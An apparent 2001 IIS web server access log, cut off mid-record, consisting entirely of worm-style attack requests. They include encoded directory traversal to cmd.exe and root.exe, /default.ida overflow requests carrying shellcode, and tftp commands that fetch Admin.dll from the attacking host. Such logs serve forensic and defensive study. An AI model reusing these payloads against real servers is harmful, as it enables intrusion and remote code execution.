libr-968.dhcp.umass.edu [128.119.171.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:30: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:31: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:31: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:35: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:35: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:39: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:40: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:40: libr-968.dhcp.umass.edu [128.119.171.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:03:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:05:58: [202.88.140.52] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 21:06:34: [203.236.98.230] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:09:54: [203.236.98.230] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:10:13: [203.236.98.230] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:10:35: [203.236.98.230] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:10:54: [203.236.98.230] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:14: [203.236.98.230] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:34: [203.236.98.230] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:54: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:11:55: [203.236.98.230] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:12:16: [203.236.98.230] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:12:36: [203.236.98.230] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:12:58: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 21:12:58: [203.236.98.230] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:13:18: [203.236.98.230] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:13:38: [203.236.98.230] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:14:00: [203.236.98.230] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:14:20: [203.236.98.230] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:14:39: [203.236.98.230] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:14:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 21:16:35: [128.97.191.168] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:18:32: [128.97.191.168] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:18:50: [128.97.191.168] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:19:08: [128.97.191.168] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:19:27: [128.97.191.168] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:19:45: [128.97.191.168] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:20:04: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:20:04: [128.97.191.168] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:20:22: gauntlet.westernunion.com [206.201.224.10] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:20:22: [128.97.191.168] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:20:40: gauntlet.westernunion.com [206.201.224.10] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:20:40: [128.97.191.168] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:20:59: gauntlet.westernunion.com [206.201.224.10] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:20:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:20:59: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:20:59: [128.97.191.168] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:17: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:17: [128.97.191.168] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:36: gauntlet.westernunion.com [206.201.224.10] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:36: [128.97.191.168] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:54: gauntlet.westernunion.com [206.201.224.10] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:54: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:21:54: [128.97.191.168] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:12: gauntlet.westernunion.com [206.201.224.10] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:12: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:13: [128.97.191.168] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:31: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:22:31: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:31: [128.97.191.168] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:49: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:22:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:49: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:49: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:22:50: [128.97.191.168] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:23:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:24:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:24:28: [210.199.161.165] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:26:44: [210.199.161.165] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:27:04: [210.199.161.165] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:27:24: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:27:24: gauntlet.westernunion.com [206.201.224.10] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:27:25: gauntlet.westernunion.com [206.201.224.10] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:27:26: [210.199.161.165] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:27:44: gauntlet.westernunion.com [206.201.224.10] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:27:44: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:27:45: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:27:45: gauntlet.westernunion.com [206.201.224.10] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:27:46: [210.199.161.165] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:04: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:28:04: gauntlet.westernunion.com [206.201.224.10] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:04: gauntlet.westernunion.com [206.201.224.10] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:05: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:05: [210.199.161.165] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:24: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:24: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 21:28:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 21:28:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/Admin.dll HTTP/1.0" 20010918 21:28:25: [210.199.161.165] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 21:28:45: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:45: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/Admin.dll HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0" 20010918 21:28:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:45: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:28:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 21:28:47: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:28:47: [210.199.161.165] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:05: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 21:29:05: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0" 20010918 21:29:06: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:06: [210.199.161.165] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:24: pbl1.medfac.unimelb.edu.au [128.250.145.204] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:25: gauntlet.westernunion.com [206.201.224.10] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 21:29:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET 